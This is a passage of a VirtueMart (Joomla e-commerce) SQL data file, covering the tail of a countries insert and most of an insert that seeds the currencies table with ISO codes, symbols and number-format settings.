'VIR', 'VI'), (233, 1, 'Wallis and Futuna Islands', 'WLF', 'WF'), (234, 1, 'Western Sahara', 'ESH', 'EH'), (235, 1, 'Yemen', 'YEM', 'YE'), (237, 1, 'The Democratic Republic of Congo', 'DRC', 'DC'), (238, 1, 'Zambia', 'ZMB', 'ZM'), (239, 1, 'Zimbabwe', 'ZWE', 'ZW'), (240, 1, 'East Timor', 'XET', 'XE'), (241, 1, 'Jersey', 'JEY', 'JE'), (242, 1, 'St. Barthelemy', 'XSB', 'XB'), (243, 1, 'St. Eustatius', 'XSE', 'XU'), (244, 1, 'Canary Islands', 'XCA', 'XC'), (245, 1, 'Serbia', 'SRB', 'RS'), (246, 1, 'Sint Maarten (French Antilles)', 'MAF', 'MF'), (247, 1, 'Sint Maarten (Netherlands Antilles)', 'SXM', 'SX'), (248, 1, 'Palestinian Territory, occupied','PSE','PS') ; -- -- Dumping data for table `#__virtuemart_currencies` -- INSERT INTO `#__virtuemart_currencies` (`virtuemart_currency_id`, `virtuemart_vendor_id`, `currency_name`, `currency_code_2`, `currency_code_3`, `currency_numeric_code`, `currency_exchange_rate`, `currency_symbol`, `currency_decimal_place`, `currency_decimal_symbol`, `currency_thousands`, `currency_positive_style`, `currency_negative_style`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (2, 1, 'United Arab Emirates dirham', '', 'AED', 784, 0, 'د.إ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 'Albanian lek', '', 'ALL', 8, 0, 'Lek', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 'Netherlands Antillean gulden', '', 'ANG', 532, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 'Argentine peso', '', 'ARS', 32, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 'Australian dollar', '', 'AUD', 36, 0, '$', '2', '.', ' ', '{symbol} {number}', '{sign}{symbol} {number} ', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 'Aruban florin', '', 'AWG', 533, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 'Barbadian dollar', '', 'BBD', 52, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 'Bangladeshi taka', '', 'BDT', 50, 0, '৳', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 'Bahraini dinar', '', 'BHD', 48, 0, 'ب.د', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 'Burundian franc', '', 'BIF', 108, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 'Bermudian dollar', '', 'BMD', 60, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 'Brunei dollar', '', 'BND', 96, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 'Bolivian boliviano', '', 'BOB', 68, 0, '$b', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 'Brazilian real', '', 'BRL', 986, 0, 'R$', '2', ',', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 'Bahamian dollar', '', 'BSD', 44, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 'Bhutanese ngultrum', '', 'BTN', 64, 0, 'BTN', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 'Botswana pula', '', 'BWP', 72, 0, 'P', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 'Belize dollar', '', 'BZD', 84, 0, 'BZ$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 'Canadian dollar', '', 'CAD', 124, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 'Swiss franc', '', 'CHF', 756, 0, 'CHF', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 'Unidad de Fomento', '', 'CLF', 990, 0, 'CLF', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 'Chilean peso', '', 'CLP', 152, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 'Chinese renminbi yuan', '', 'CNY', 156, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 'Colombian peso', '', 'COP', 170, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 'Costa Rican colón', '', 'CRC', 188, 0, '₡', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 'Czech koruna', '', 'CZK', 203, 0, 'Kč', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 'Cuban peso', '', 'CUP', 192, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 'Cape Verdean escudo', '', 'CVE', 132, 0, '$', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 'Danish krone', '', 'DKK', 208, 0, 'kr', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 'Dominican peso', '', 'DOP', 214, 0, 'RD$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 'Algerian dinar', '', 'DZD', 12, 0, 'د.ج', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 'Egyptian pound', '', 'EGP', 818, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 'Ethiopian birr', '', 'ETB', 230, 0, 'ETB', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 'Euro', '', 'EUR', 978, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 'Fijian dollar', '', 'FJD', 242, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 'Falkland pound', '', 'FKP', 238, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 'British pound', '', 'GBP', 826, 0, '£', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 'Gibraltar pound', '', 'GIP', 292, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 'Gambian dalasi', '', 'GMD', 270, 0, 'D', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 'Guinean franc', '', 'GNF', 324, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 'Guatemalan quetzal', '', 'GTQ', 320, 0, 'Q', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 'Guyanese dollar', '', 'GYD', 328, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 'Hong Kong dollar', '', 'HKD', 344, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 'Honduran lempira', '', 'HNL', 340, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 'Haitian gourde', '', 'HTG', 332, 0, 'G', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 'Hungarian forint', '', 'HUF', 348, 0, 'Ft', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 'Indonesian rupiah', '', 'IDR', 360, 0, 'Rp', '0', '', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 'Israeli new sheqel', '', 'ILS', 376, 0, '₪', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 'Indian rupee', '', 'INR', 356, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 'Iraqi dinar', '', 'IQD', 368, 0, 'ع.د', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 'Iranian rial', '', 'IRR', 364, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number}{symb0l}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 'Jamaican dollar', '', 'JMD', 388, 0, 'J$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 'Jordanian dinar', '', 'JOD', 400, 0, 'د.ا', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 'Japanese yen', '', 'JPY', 392, 0, '¥', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 'Kenyan shilling', '', 'KES', 404, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 'Cambodian riel', '', 'KHR', 116, 0, '៛', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 'Comorian franc', '', 'KMF', 174, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 'North Korean won', '', 'KPW', 408, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 'South Korean won', '', 'KRW', 410, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 'Kuwaiti dinar', '', 'KWD', 414, 0, 'د.ك', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 'Cayman Islands dollar', '', 'KYD', 136, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 'Lao kip', '', 'LAK', 418, 0, '₭', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 'Lebanese pound', '', 'LBP', 422, 0, '£', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 'Sri Lankan rupee', '', 'LKR', 144, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 'Liberian dollar', '', 'LRD', 430, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 'Lesotho loti', '', 'LSL', 426, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 'Libyan dinar', '', 'LYD', 434, 0, 'ل.د', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 'Moroccan dirham', '', 'MAD', 504, 0, 'د.م.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 'Mongolian tögrög', '', 'MNT', 496, 0, '₮', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 'Macanese pataca', '', 'MOP', 446, 0, 'P', '1', ',', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 'Mauritanian ouguiya', '', 'MRO', 478, 0, 'UM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 'Mauritian rupee', '', 'MUR', 480, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 'Maldivian rufiyaa', '', 'MVR', 462, 0, 'ރ.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 'Malawian kwacha', '', 'MWK', 454, 0, 'MK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 'Malaysian ringgit', '', 'MYR', 458, 0, 'RM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 'Nigerian naira', '', 'NGN', 566, 0, '₦', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 'Norwegian krone', '', 'NOK', 578, 0, 'kr', '2', ',', ' ', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 'Nepalese rupee', '', 'NPR', 524, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 'New Zealand dollar', '', 'NZD', 554, 0, '$', '2', ',', '', '{number} {symbol}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 'Omani rial', '', 'OMR', 512, 0, '﷼', '3', '.', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 'Panamanian balboa', '', 'PAB', 590, 0, 'B/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 'Peruvian nuevo sol', '', 'PEN', 604, 0, 'S/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 'Papua New Guinean kina', '', 'PGK', 598, 0, 'K', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 'Philippine peso', '', 'PHP', 608, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 'Pakistani rupee', '', 'PKR', 586, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 'Polish Złoty', '', 'PLN', 985, 0, 'zł', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 'Paraguayan guaraní', '', 'PYG', 600, 0, '₲', '0', '', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 'Qatari riyal', '', 'QAR', 634, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 'Romanian leu', '', 'RON', 946, 0, 'lei', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 'Rwandan franc', '', 'RWF', 646, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 'Saudi riyal', '', 'SAR', 682, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 'Solomon Islands dollar', '', 'SBD', 90, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 'Seychellois rupee', '', 'SCR', 690, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 'Swedish krona', '', 'SEK', 752, 0, 'kr', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 'Singapore dollar', '', 'SGD', 702, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 'Saint Helenian pound', '', 'SHP', 654, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 'Sierra Leonean leone', '', 'SLL', 694, 0, 'Le', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 'Somali shilling', '', 'SOS', 706, 0, 'S', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 'São Tomé and Príncipe dobra', '', 'STD', 678, 0, 'Db', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 'Russian ruble', '', 'RUB', 643, 0, 'руб', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 'Salvadoran colón', '', 'SVC', 222, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 'Syrian pound', '', 'SYP', 760, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 'Swazi lilangeni', '', 'SZL', 748, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 'Thai baht', '', 'THB', 764, 0, '฿', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 'Tunisian dinar', '', 'TND', 788, 0, 'د.ت', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 'Tongan paʻanga', '', 'TOP', 776, 0, 'T$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 'Turkish new lira', '', 'TRY', 949, 0, 'YTL', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 'Trinidad and Tobago dollar', '', 'TTD', 780, 0, 'TT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 'New Taiwan dollar', '', 'TWD', 901, 0, 'NT$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 'Tanzanian shilling', '', 'TZS', 834, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 'United States dollar', '', 'USD', 840, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 'Vietnamese Dong', '', 'VND', 704, 0, '₫', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 'Vanuatu vatu', '', 'VUV', 548, 0, 'Vt', '2', ',', '', '{number} {symbol}', 